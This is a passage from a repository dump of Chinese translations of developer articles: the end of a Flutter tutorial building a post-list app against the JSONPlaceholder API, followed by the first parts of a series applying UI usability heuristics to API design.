属性。这将是应用程序的主界面。因为我们希望我们的应用程序是基于 Material Design 的布局，所以我们把 `home` 设置为一个空的 `Scaffold`：\n\n``` dart\nimport 'package:flutter/material.dart';\n \nclass MyApp extends StatelessWidget {\n  @override\n  Widget build(BuildContext context) {\n    return new MaterialApp(\n        home: new Scaffold()\n    );\n  }\n}\n```\n\n最后我们需要设置当运行 main.dart 时，我们想运行 `MyApp` 应用程序。因此，我们需要在导入语句后面添加以下行：\n\n``` dart\nvoid main() => runApp(new MyApp());\n```\n\n你现在已经可以运行你的应用程序。目前只是一个没有任何内容的白色界面。所以我们现在要做的第一件事就是添加一些用户界面。\n\n### 开发用户界面\n\n#### 几句关于状态的话\n\n我们可能要开发两种用户界面。一种是与当前应用状态无关的用户界面，而另一种是与当前状态相关的用户界面。\n\n当谈到状态时，我们的意思是，当事件被触发时，用户界面可能会改变，这正是我们要做的：\n\n*   **应用程序启动事件:\n    -** 显示循环进度条\n    - 运行检索帖子的操作\n*   **API 请求结束：**\n    - 如果成功，显示检索帖子的结果\n    - 如果失败， 在空白界面上显示带失败信息的 Snackbar\n\n目前，我们只用了 `StatelessWidget`，正如你所猜测的那样，它并不涉及程序状态。那么让我们先初始化一个 `StatefulWidget` 。\n\n#### 初始化 StatefulWidget\n\n让我们添加一个继承 `StatefulWidget` 的类到我们的应用程序：\n\n``` dart\nimport 'package:flutter/material.dart';\n \nvoid main() => runApp(new MyApp());\n \nclass MyApp extends StatelessWidget {\n  @override\n  Widget build(BuildContext context) {\n    return new MaterialApp(\n        home: new PostPage()\n    );\n  }\n}\n \nclass PostPage extends StatefulWidget {\n  PostPage({Key key}) : super(key: key);\n \n  @override\n  State<StatefulWidget> createState() {\n    // TODO: implement createState\n  }\n}\n```\n\n像我们看到的一样，我们需要实现返回一个 `State` 对象的 `createState()` 方法。所以让我们创建一个继承 `State` 的类：\n\n``` dart\nclass PostPage extends StatefulWidget {\n  PostPage({Key key}) : super(key: key);\n \n  @override\n  _PostPageState createState() => new _PostPageState();\n}\n \nclass _PostPageState extends State<PostPage>{\n  @override\n  Widget build(BuildContext context) {\n    // TODO: implement build\n  }\n}\n```\n\n就像看到的，我们需要实现 `build()` 方法，让它返回一个 Widget 。为此，我们先创建一个空部件 （`Row`）：\n\n``` dart\nclass _PostPageState extends State<PostPage>{\n  @override\n  Widget build(BuildContext context) {\n    return new Scaffold(\n        appBar: new AppBar(\n          title: new Text('FeedMe'),\n        ),\n        body: new Row()//TODO add the widget for current state\n    );\n  }\n}\n```\n\n我们事实上返回了一个 `Scaffold` 对象，因为我们应用程序的工具栏不会改变，也不依赖于当前状态。只是他的 body 会取决于当前状态。\n\n让我们现在创建一个方法，它将返回 Widget 以显示当前状态，以及一种返回一个包含居中的循环进度条的 Widget 的方法：\n\n``` dart\nclass _PostPageState extends State<PostPage>{\n  Widget _getLoadingStateWidget(){\n    return new Center(\n      child: new CircularProgressIndicator(),\n    );\n  }\n \n  Widget getCurrentStateWidget(){\n    Widget currentStateWidget;\n    currentStateWidget = _getLoadingStateWidget();\n    return currentStateWidget;\n  }\n \n  @override\n  Widget build(BuildContext context) {\n    return new Scaffold(\n        appBar: new AppBar(\n          title: new Text('FeedMe'),\n        ),\n        body: getCurrentStateWidget()\n    );\n  }\n}\n```\n\n如果你现在运行这个应用程序，你会看到一个居中的循环进度条。\n\n### 显示帖子列表\n\n我们先定义 `Post` 对象，因为它是在 JSONPlaceholder API 中定义的。为此，创建一个包含以下内容的 `Post.dart` 文件：\n\n``` dart\nclass Post {\n  final int userId;\n \n  final int id;\n \n  final String title;\n \n  final String body;\n \n  Post({\n    this.userId,\n    this.id,\n    this.title,\n    this.body\n  });\n}\n```\n\n现在我们在同一个文件中定义一个 `PostState` 类来设计应用程序的当前状态：\n\n``` dart\nclass PostState{\n  List<Post> posts;\n  bool loading;\n  bool error;\n \n  PostState({\n    this.posts = const [],\n    this.loading = true,\n    this.error = false,\n  });\n \n  void reset(){\n    this.posts = [];\n    this.loading = true;\n    this.error = false;\n  }\n}\n```\n\n现在要做的就是在 `PostState` 类中定义一个方法来从 API 中获取 `Post` 的列表。稍后我们将看到如何做到这一点，因为现在我们只能异步地返回一个静态的 `Post` 列表：\n\n``` dart\nFuture<void> getFromApi() async{\n  this.posts = [\n    new Post(userId: 1, id: 1, title: \"Title 1\", body: \"Content 1\"),\n    new Post(userId: 1, id: 2, title: \"Title 2\", body: \"Content 2\"),\n    new Post(userId: 2, id: 3, title: \"Title 3\", body: \"Content 3\"),\n  ];\n  this.loading = false;\n  this.error = false;\n}\n```\n\n现在完成了，让我们回到 `main.dart` 文件中的 `PostPageState` 类来看看如何使用我们刚定义的类。我们在 `PostPageState` 类中初始化一个 `postState` 属性：\n\n``` dart\nclass _PostPageState extends State<PostPage>{\n  final PostState postState = new PostState();\n \n  // ...\n}\n```\n> 如果 IntelliJ IDEA 在 `PostState` 下显示红色下划线，这意味着 `PostState` 类没有在当前文件中定义。所以你需要导入它。将光标移至红色下划线部分，然后按Alt + Enter，然后选择导入。\n\n现在，让我们定义一个方法，当我们成功获取 `Post` 列表时就返回一个 Widget ：\n\n``` dart\nWidget _getSuccessStateWidget(){\n  return new Center(\n    child: new Text(postState.posts.length.toString() + \" posts retrieved\")\n  );\n}\n```\n\n如果我们成功获得 Post 的列表，现在要做的就是编辑 `getCurrentStateWidget()` 方法来显示这个 Widget ：\n\n``` dart\nWidget getCurrentStateWidget(){\n  Widget currentStateWidget;\n  if(!postState.error && !postState.loading) {\n    currentStateWidget = _getSuccessStateWidget();\n  }\n  else{\n    currentStateWidget = _getLoadingStateWidget();\n  }\n  return currentStateWidget;\n}\n```\n\n最后要做的，也许最重要的一件事就是运行请求以检索 Post 的列表。为此，定义一个 `_getPosts()` 方法并在初始化状态时调用它：\n\n``` dart\n@override\nvoid initState() {\n  super.initState();\n  _getPosts();\n}\n \n_getPosts() async {\n  if (!mounted) return;\n \n  await postState.getFromApi();\n  setState((){});\n}\n```\n\n当当当，你可以运行应用程序来看结果。实际上，即使真的显示了循环进度条，也几乎没有机会看得到。这是因为检索 Post 的列表非常快，以致它几乎立即消失。\n\n#### 从 API 中检索帖子列表\n\n为了确保实际显示循环进度条，让我们从 JSONPlaceholder API 中检索该帖子。如果我们看一下 [API 的 post 服务](https://jsonplaceholder.typicode.com/posts)，我们可以看到它返回一个帖子的 JSON 数组。\n\n因此，我们必须先为 Post 类添加一个静态方法，以便将 Post 的 JSON 数组转换为 `Post` 列表：\n\n``` dart\nstatic List<Post> fromJsonArray(String jsonArrayString){\n  List data = JSON.decode(jsonArrayString);\n  List<Post> result = [];\n  for(var i=0; i<data.length; i++){\n    result.add(new Post(\n        userId: data[i][\"userId\"],\n        id: data[i][\"id\"],\n        title: data[i][\"title\"],\n        body: data[i][\"body\"]\n    ));\n  }\n  return result;\n}\n```\n\n我们现在只需编辑检索 `PostState` 类中的 `Post` 列表的方法，让它从 API 真正地检索帖子：\n\n``` dart\nFuture<void> getFromApi() async{\n  try {\n    var httpClient = new HttpClient();\n    var request = await httpClient.getUrl(Uri.parse('https://jsonplaceholder.typicode.com/posts'));\n    var response = await request.close();\n    if (response.statusCode == HttpStatus.OK) {\n      var json = await response.transform(UTF8.decoder).join();\n      this.posts = Post.fromJsonArray(json);\n      this.loading = false;\n      this.error = false;\n    }\n    else{\n      this.posts = [];\n      this.loading = false;\n      this.error = true;\n    }\n  } catch (exception) {\n    this.posts = [];\n    this.loading = false;\n    this.error = true;\n  }\n}\n```\n\n你现在可以运行该应用程序，根据网速或多或少地可以看到循环进度条。\n\n#### 显示帖子列表\n\n目前，我们只显示检索的帖子数量，但不会像我们预期的那样显示帖子列表。为了能够显示它，让我们编辑 `PostPageState` 类的 `_getSuccessStateWidget()` 方法：\n\n``` dart\nWidget _getSuccessStateWidget(){\n  return new ListView.builder(\n    itemCount: postState.posts.length,\n    itemBuilder: (context, index) {\n      return new Column(\n        crossAxisAlignment: CrossAxisAlignment.start,\n        children: <Widget>[\n          new Text(postState.posts[index].title,\n            style: new TextStyle(fontWeight: FontWeight.bold)),\n \n          new Text(postState.posts[index].body),\n \n          new Divider()\n        ]\n      );\n    }\n  );\n}\n```\n\n如果再次运行应用程序，你就会看到帖子列表。\n\n### 处理错误\n\n我们还有最后一件事要做：处理错误。您可以尝试在飞行模式下运行应用程序，然后就可以看到无限循环进度条。所以我们要返回一个空白错误：\n\n``` dart\nWidget _getErrorState(){\n  return new Center(\n    child: new Row(),\n  );\n}\n \nWidget getCurrentStateWidget(){\n  Widget currentStateWidget;\n  if(!postState.error && !postState.loading) {\n    currentStateWidget = _getSuccessStateWidget();\n  }\n  else if(!postState.error){\n    currentStateWidget = _getLoadingStateWidget();\n  }\n  else{\n    currentStateWidget = _getErrorState();\n  }\n  return currentStateWidget;\n}\n```\n\n现在，当发生错误时，它会显示一个空白的界面。你可以随意更改内容来显示错误界面。但是我们说过，我们希望显示一个 Snackbar，以便在出现错误时重试。为此，让我们在 `PostPageState` 类中开发 `showError()` 和 `retry()` 方法：\n\n``` dart\nclass _PostPageState extends State<PostPage>{\n  // ...\n  BuildContext context;\n \n  // ...\n  _retry(){\n    Scaffold.of(context).removeCurrentSnackBar();\n    postState.reset()\n    setState((){});\n    _getPosts();\n  }\n \n  void _showError(){\n    Scaffold.of(context).showSnackBar(new SnackBar(\n      content: new Text(\"An unknown error occurred\"),\n      duration: new Duration(days: 1), // Make it permanent\n      action: new SnackBarAction(\n        label : \"RETRY\",\n        onPressed : (){_retry();}\n      )\n    ));\n  }\n \n  //...\n}\n```\n\n正如我们所看到的，我们需要一个 `BuildContext` 来获得 `ScaffoldState`，它可以让 Snackbar 出现并消失。但是我们必须使用 `Scaffold` 对象的 `BuildContext` 来获得 `ScaffoldState` 。为此，我们需要编辑 `PostPageState` 类的 `build()` 方法：\n\n``` dart\nWidget currentWidget = getCurrentStateWidget();\nreturn new Scaffold(\n    appBar: new AppBar(\n      title: new Text('FeedMe'),\n    ),\n    body: new Builder(builder: (BuildContext context) {\n      this.context = context;\n      return currentWidget;\n    })\n);\n```\n\n现在在飞行模式下运行你的应用程序，它现在就会显示 Snackbar 了。如果您离开飞行模式，然后点击重试，就可以看到帖子了。\n\n### 总结\n\n我们了解了用 Flutter 开发一个功能齐全的应用程序并不困难。所有 Material Design 的元素都是被提供的，并且就在刚刚，你用它们在 Android 和 iOS 平台上开发了一个应用程序。\n\n该项目的所有源代码均可在 [Feed-Me Flutter project on GitHub](https://github.com/gahfy/feedme_flutter) 获得。\n\n* * *\n\n如果你喜欢这篇文章，你可以关注 [我的推特](https://twitter.com/gahfy) 来获得下一篇的推送。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/developers-are-users-too-introduction.md",
    "content": "> * 原文地址：[Developers are users too — Introduction](https://medium.com/google-developers/developers-are-users-too-introduction-fefdb42f05a)\n> * 原文作者：[Florina Muntenescu](https://medium.com/@florina.muntenescu?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/developers-are-users-too-introduction.md](https://github.com/xitu/gold-miner/blob/master/TODO/developers-are-users-too-introduction.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[IllllllIIl](https://github.com/IllllllIIl), [hanliuxin5](https://github.com/hanliuxin5)\n\n# 开发者也是用户 - 简介\n\n## 易用性 - 学于 UI，用于 API\n\n![](https://cdn-images-1.medium.com/max/2000/1*KwDN8m7j1MLxObs2-znrVA.png)\n\n题图：[Virgina Poltrack](https://twitter.com/VPoltrack)\n\n当谈起**易用性**时，我们通常会将其与地图、短信或照片分享之类的 app 的用户界面联系起来。我们希望它们有着各自的优质特性，例如一个地图 app 应该要有：\n\n* **直观性** —— 能够轻松让用户知道如何从 A 导航至 B。\n* **高效性** —— 能够快速地获得导航方向。\n* **正确性** —— 能够获得从 A 至 B 正确的、无障碍的路线。\n* 提供**适当的功能** —— 能够让用户探索地图，比如放大、缩小和导航。\n* 为以上功能提供**适当的使用方式** —— 例如通过手指的缩放来操作地图。\n\n同样的，我们也希望自己所使用的 API 也能有与此相同的特性。如果说 UI 是用户与功能之间的界面，那么 API 就是使用这个 API 的开发者和能实现相应功能代码之间的界面。因此，API 与 UI 一样需要易用性。 \n\n库、框架、SDK - API 无处不在。每当你把代码分离为模块，那么模块暴露的类与方法就成为了 API。其他的开发者（和未来的你）都将会要使用它。\n\n易用性与如何学习使用某个事物花的时间可以说是成反比。无论是新手开发者还是专家都需要用许多的时间学习如何使用新的 API，一个低易用性的 API 可能会导致它被错误的调用，从而造成 bug 和安全问题。这些问题最终不仅会影响使用这些 API 的开发者，还会影响使用 app 的用户。因此，提供高易用性的 API 至关重要。\n\nNielsen 与 Molich 编写了一套广为人知的手册：[UI 易用性的启示](https://www.nngroup.com/articles/ten-usability-heuristics/)，它可以简单地套用于任何产品中（包括 API），你可以结合 Bloch 所著的 [指南](https://dl.acm.org/citation.cfm?id=1176622) 了解如何设计优秀的 API。\n\n1. [系统状态的可见性](https://medium.com/google-developers/developers-are-users-too-part-1-c753483a50dc#a062)\n2. [让系统符合真实世界](https://medium.com/google-developers/developers-are-users-too-part-1-c753483a50dc#fd9a)\n3. [为用户提供自由的操作方式](https://medium.com/google-developers/developers-are-users-too-part-1-c753483a50dc#52bc)\n4. [一致性与标准](https://medium.com/google-developers/developers-are-users-too-part-1-c753483a50dc#7d0b)\n5. [预防错误的发生](https://medium.com/google-developers/developers-are-users-too-part-1-c753483a50dc#6f9b)\n6. [让用户认知，而不是回忆](https://medium.com/google-developers/developers-are-users-too-part-2-96e03fe17535#b705)\n7. [弹性、高效的使用方式](https://medium.com/google-developers/developers-are-users-too-part-2-96e03fe17535#0709)\n8. [优雅、极简的设计](https://medium.com/google-developers/developers-are-users-too-part-2-96e03fe17535#3033)\n9. [帮助用户认识、判断、改正错误](https://medium.com/google-developers/developers-are-users-too-part-2-96e03fe17535#d40e)\n10. [提供帮助与文档](https://medium.com/google-developers/developers-are-users-too-part-2-96e03fe17535#e86b)\n\n* * *\n\n在下篇文章中，我们将一同深入探讨这些原则，并了解如何将它们应用于 API 设计。敬请关注！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO/developers-are-users-too-part-1.md",
    "content": "> * 原文地址：[Developers are users too — part 1: 5 Guidelines for a better UI and API usability](https://medium.com/google-developers/developers-are-users-too-part-1-c753483a50dc)\n> * 原文作者：[Florina Muntenescu](https://medium.com/@florina.muntenescu?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/developers-are-users-too-part-1.md](https://github.com/xitu/gold-miner/blob/master/TODO/developers-are-users-too-part-1.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[tanglie1993](https://github.com/tanglie1993), [hanliuxin5](https://github.com/hanliuxin5)\n\n# 开发者也是用户 — 第一部分：构建更具可用性的 UI 与 API 的 5 个方针\n\n![](https://cdn-images-1.medium.com/max/2000/1*OUzDeiHZ1Dfe2grlecdC1g.png)\n\n在前一篇文章中，我们探讨了 UI 可用性与 API 可用性的重要性，并说明了 UI 可用性原则可以应用于 API。下面是前文链接：\n\n[**开发者也是用户 - 简介**\n_可用性 - 学于 UI，用于 API_](https://github.com/xitu/gold-miner/blob/master/TODO/developers-are-users-too-introduction.md)\n\n在本文中，我们将具体讨论前 5 条可用性方针：\n\n1. 系统状态的可见性\n2. 让系统符合真实世界\n3. 为用户提供自由的操作方式\n4. 一致性与标准\n5. 预防错误的发生\n\n### 1. 系统状态的可见性\n\n> 系统应当在合理的时间，通过合适的反馈，让用户了解它正在做什么。\n\n**UI：**当用户进行一项需要耗费较长时间的操作时，应告知用户操作的进度。例如，在加载图片时显示一个进度条，在上传下载文件时显示百分比。应当让用户知道正在让他们等待的是什么，需要花多长时间。\n\n![](https://cdn-images-1.medium.com/max/800/1*uyWN73Fvr91jvuw9AfrUTQ.gif)\n\n上图：告知用户当前状态。[图片来源](https://material.io/guidelines/components/progress-activity.html#progress-activity-types-of-indicators)\n\n**API：**API 应当提供某种可以查询当前状态的方式。例如，[`AnimatedVectorDrawable`](https://developer.android.com/reference/android/graphics/drawable/AnimatedVectorDrawable.html) 类提供了一个方法来检查动画是否正在运行：\n\n```\nboolean isAnimationRunning = avd.isRunning();\n```\n\nAPI 可以采用回调机制来给出反馈，让 API 用户知道对象在何时改变了状态 —— 类似于动画开始与结束时的通知。例如，[`AnimatedVectorDrawable`](https://developer.android.com/reference/android/graphics/drawable/AnimatedVectorDrawable.html) 对象可以 [registering](https://developer.android.com/reference/android/graphics/drawable/AnimatedVectorDrawable.html#registerAnimationCallback%28android.graphics.drawable.Animatable2.AnimationCallback%29) 一个 [`AnimationCallback`](https://developer.android.com/reference/android/graphics/drawable/Animatable2.html#registerAnimationCallback%28android.graphics.drawable.Animatable2.AnimationCallback%29) 来完成上述操作。\n\n### 2. 让系统符合真实世界\n\n> 应用程序应当“说”用户的语言，使用用户熟悉的短语和概念，而不应该使用面向系统的术语。\n\n![](https://cdn-images-1.medium.com/max/800/0*wSpL4tOdQ80XTC-B.)\n\n上图：使用用户熟悉的概念。[图片来源](https://material.io/guidelines/style/writing.html#writing-language)\n\n#### 类与方法的命名应符合用户的预期\n\n**API：**当在一个新的 API 中查找类时，用户可能无从下手，因而依赖之前使用类似 API 的经验，或者依赖在 API 领域通用的观念。例如，当使用 Glide 或者 Picasso 下载并展示图片时，用户很可能会去查找名为“load”或“download”的方法。\n\n### 3. 为用户提供自由的操作方式\n\n> 为用户提供撤销操作的机会。\n\n**UI：**某些用户发起的操作可能含有歧义，例如“删除”或“存档”邮件。此时应显示一条消息让用户确认，并允许用户撤销此操作。\n\n![](https://cdn-images-1.medium.com/max/800/1*6ZgbBYTkeyh-LrA96T8Nuw.png)\n\n上图：允许用户撤销当前操作。[图片来源](http://Elements%20like%20“Help”%20and%20“Send%20feedback”%20are%20usually%20placed%20at%20the%20bottom%20of%20the%20navigation%20drawer.)\n\n#### API 应允许中断或重置操作，并能简单地将 API 恢复到正常状态\n\n**API：**例如，Retrofit 提供了一个 [Call#cancel](https://square.github.io/retrofit/2.x/retrofit/retrofit2/Call.html#cancel--) 的方法，此方法会尝试取消飞行模式下的 call 调用，以及取消还未被 execute 执行的 call 调用，让其之后也不再会执行。此外，如果你在使用 NotificationManager，你会发现既可以创建通知也可以取消[（cancel）](https://developer.android.com/reference/android/app/NotificationManager.html#cancel%28int%29)通知。\n\n### 4. 一致性与标准\n\n> 你的应用程序的用户不应该去思考不同的文本、情景或者操作是否有着同样的意义。\n\n**UI：**与你的 app 进行交互的用户在此之前已经通过与其它 app 交互得到了训练，他们会希望各个应用的可交互元素的样式与行为都相同。如果偏离了这些惯例，那么用户就会更容易出错。\n\n因此，UI 需要与平台保持一致，并使用用户熟悉的 UI 控件，以方便用户快速识别并使用它们。此外，一致性应当贯穿你的整个应用。在 app 的不同界面中，使用相同的文字与图表来表示相同的东西。例如，在你的 app 中用户可以修改多个元素，那么请使用相同的修改图标。\n\n![](https://cdn-images-1.medium.com/max/800/0*ioWpCsAMsI7gRHxo.)\n\n上图：对话框应该与平台保持一致。[图片来源](https://material.io/guidelines/usability/accessibility.html#accessibility-implementation)\n\n**API：**所有的 API 设计都应遵循一致性原则。\n\n#### 各个方法应保持命名的一致性\n\n请参考下面的例子。假设我们有一个 interface 暴露了两个设置不同类型 observer 的方法：\n\n```\npublic interface MyInterface {\n    \n    void registerContentObserver(ContentObserver observer);\n    void addDataSetObserver(DataSetObserver observer);\n}\n```\n\n使用它的用户可能会思考：`register…Observer` 和 `add…Observer` 究竟有什么区别呢？是否一个方法一次接受一个 observer，另一个方法一次可以接受多个 observer 呢？开发者要么去认真阅读文档，要么去查找 interface 的实现，来研究两个方法的行为是否相同。\n\n```\nprivate List<ContentObserver> contentObservers;\nprivate List<DataSetObserver> dataSetObservers;\npublic void registerContentObserver(ContentObserver observer) {\n    contentObservers.add(observer);\n}\npublic void addDataSetObserver(DataSetObserver observer){\n    dataSetObservers.add(observer);\n}\n```\n\n因此，请为做同样事情的方法进行 **相同的命名**。\n\n可以在命名时考虑使用**反义词**，例如：get - set，add - remove，subscribe - unsubscribe，show - dismiss。\n\n#### 各个方法应保持参数顺序的一致性\n\n在重载方法时，需要确保在新旧方法中都存在的参数的顺序保持一致。否则，你的 API 用户将要花更多的时间来理解重载与被重载方法的区别。\n\n```\nvoid setNotificationUri( ContentResolver cr,\n                         Uri notifyUri);\nvoid setNotificationUri( Uri notifyUri,\n                         ContentResolver cr,\n                         int userHandle);\n```\n\n#### 避免在函数中使用连续的、同类型的参数\n\n虽然在 Android Studio 中，使用连续的多个相同类型的参数是件简单的事情，但是这样做很容易导致参数顺序出错，并且很难找到这种错误。参数的顺序应当尽可能与参数的逻辑顺序一致。\n\n![](https://cdn-images-1.medium.com/max/800/0*2oT4UN19rU1q_aJI.)\n\n当这些参数的类型都相同时，用户很容易犯错。例如上图中 county 和 country 就弄反了。\n\n为了解决这种问题，你可以使用建造者模式，或者应用 Kotlin 的 [命名参数（named parameters）](https://kotlinlang.org/docs/reference/functions.html)。\n\n#### 方法的参数应不大于 4 个\n\n参数越多，意味着方法越复杂。用户需要理解每个参数在方法中起到的作用以及与其它参数的关系，也就是说每增加一个参数都会导致方法的复杂度呈指数形式增加。当一个方法的参数超过 4 个时，就可以考虑将其中一些参数封装在其它类中或使用构造器了。\n\n#### 返回值会影响方法的复杂度\n\n当一个方法返回某个值时，开发者需要知道这个值代表着什么，如何存储它等。如果不需要用到这个值，那么它也不应当对方法的复杂度造成影响。\n\n例如，当向数据库插入一个元素时，Room 既可以返回 `Long` 也可以返回 `void`。如用户需要使用返回值时，首先需要了解此返回值的意义，以及如何存储它。而在不需要返回值时，用户可以使用 void 类型方法。\n\n```\n@Insert\nLong insertData(Data data);\n@Insert\nvoid insertData(Data data);\n```\n\n因此，你应当允许 API 用户自己决定是否需要返回值。如果你正在开发一个基于代码生成器的库，应该允许其生成返回多种可选类型的方法。\n\n### 5. 预防错误的发生\n\n> 创建防范于未然的设计。\n\n**UI：**用户经常会一心多用，因此你应当防止用户在无意识下造成的错误，减少用户“翻车”的机会。比方说你可以在毁灭性操作前弹框要求确认，或者提供正确的缺省值。\n\n比如，Google Photos 应用会弹出一个确认框来确保你删除相册不是误操作；而 Inbox 的“邮件稍后提醒”功能仅需一键操作。\n\n![](https://cdn-images-1.medium.com/max/800/1*qLkM_Zm1bR15IgbFZiKMRQ.png)\n\n上图：Google Photo 在毁灭性操作前弹出确认框；Inbox 在暂停收件操作时提供方便选择的缺省值。\n\n#### API 应该引导用户正确地使用 API。尽可能使用缺省值。\n\nAPI 应当易于使用，且能防止误用。通过提供缺省值可以帮助用户正确使用 API。例如，当创建 Room 数据库时，有一个缺省值可以确保在升级数据库版本时数据不丢失。由于数据库版本对用户来说是透明的，又因为升级时数据会保持，所以使用 Room 的应用程序对用户来说易用性更好。\n\n与此同时，Room 也提供了一个方法 [`fallbackToDestructiveMigration`](https://developer.android.com/reference/android/arch/persistence/room/RoomDatabase.Builder.html#fallbackToDestructiveMigration%28%29) 用于改变这种行为，如果没有提供迁移方法，那么在数据库版本改变时会销毁并重新创建数据库。\n\n* * *\n\n\n深入了解另外 5 条原则请访问：\n[让用户认知，而不是回忆](https://medium.com/google-developers/developers-are-users-too-part-2-96e03fe17535#b705)\n[弹性、高效的使用方式](https://medium.com/google-developers/developers-are-users-too-part-2-96e03fe17535#0709)\n[优雅、极简的设计](https://medium.com/google-developers/developers-are-users-too-part-2-96e03fe17535#3033)\n[帮助用户认识、判断、改正错误](https://medium.com/google-developers/developers-are-users-too-part-2-96e03fe17535#d40e)\n[提供帮助与文档](https://medium.com/google-developers/developers-are-users-too-part-2-96e03fe17535#e86b)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO/developers-are-users-too-part-2.md",
    "content": "> * 原文地址：[Developers are users too — part 2: 5 More guidelines for a better UI and API usability](https://medium.com/google-developers/developers-are-users-too-part-2-96e03fe17535)\n> * 原文作者：[Florina Muntenescu](https://medium.com/@florina.muntenescu?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/developers-are-users-too-part-2.md](https://github.com/xitu/gold-miner/blob/master/TODO/developers-are-users-too-part-2.md)\n> * 译者：[tanglie1993](https://github.com/tanglie1993)\n> * 校对者：[corresponding](https://github.com/corresponding)，[hanliuxin5](https://github.com/hanliuxin5)\n\n# 开发者也是用户 - 第二部分：改善 UI 和 API 可用性的五条指导原则\n\n我们对自己与之交互的所有东西的可用性都有相同的预期，包括 UI 和 API。所以，我们用于 UI 的指导原则也可以被转化到 API。我们在前一篇文章中已经看到了前面五条指导原则。现在，是时候看看剩下的了。\n\n[**开发者也是用户 — 第一部分**\n_改善 UI 和 API 可用性的五条指导原则_medium.com](https://medium.com/google-developers/developers-are-users-too-part-1-c753483a50dc)\n\n### 6. 识别而不是回忆\n\n**UI:** 识别出熟悉的事物所耗费的认知代价是最小的，并且它还能被上下文环境所触发。回忆意味着从记忆中取出细节，它需要多很多的时间。从一系列选项中选择，比根据记忆写出选项容易很多。一个使用常见 icon 的简单 UI 是基于识别的，一个命令行界面是基于回忆的。信息和功能应该被设计得明显，符合直觉并且容易使用。\n\n![](https://cdn-images-1.medium.com/max/800/1*eHPxVsUoCufUaKTmMgleTg.png)\n\n铅笔 icon 是一个表示编辑的符号，容易识别，与 app 无关。\n\n#### 使名称清晰、易于理解\n\nA **变量** 名称应该说明它代表什么，而不是如何使用： `isLoading`, `animationDurationMs`.\n\nA **类** 名称应该是一个名词，说明它代表什么：`RoomDatabase`, `Field`.\n\nA **方法** 名称应该是一个动词，说明它做什么：`query()`, `runInTransaction()`.\n\n### 7. 使用的灵活性和效率\n\n**UI:** 你的应用可能被没有经验和经验丰富的用户同时使用。创建一个 UI使其迎合这两种用户的需求，并让他们习惯常用的操作。据说，20% 的功能被 80% 的用户使用。你需要在简洁和功能之间权衡。找出你的 app 中的那 20%，然后把它们变得尽可能简单易用。使用 [逐步展现原则](https://www.nngroup.com/articles/progressive-disclosure/) ，让其他用户在次要的页面使用进阶功能。\n\n![](https://cdn-images-1.medium.com/max/800/1*DenvAOded-MXjFI1v5iXFQ.png)\n\nWi-Fi 设置默认显示基本选项，但也包含进阶选项。它适合用户的需求。\n\n#### 写有弹性的 API\n\n用户应当能够使用 API 高效地完成任务，因此 API 需要有弹性。比如，在查询数据库时，Room 提供不同的返回值，允许用户进行同步查询，使用LiveData，或者如果他们喜欢的话，使用 RxJava2 中的 API。\n\n```\n@Query(“SELECT * FROM Users”)\n// synchronous\nList<User> getUsers();\n// asynchronously\nSingle<List<User>> getUsers();\nMaybe<List<User>> getUsers();\n// asynchronously via observable queries\nFlowable<List<User>> getUsers();\nLiveData<List<User>> getUsers();\n```\n\n#### 把相关的方法放在相关的类中\n\n如果一个类和一个开发者写出的代码没有直接关系，那么他通常很难找到其中的某个方法。而且，通常包含大量有用方法的 Util 和 Helper 类会很难找到。在使用 Kotlin 时，解决这个问题的方案是使用 [扩展函数](https://kotlinlang.org/docs/reference/extensions.html)。\n\n### 8. 美观和极简的设计\n\n**UI:** UI 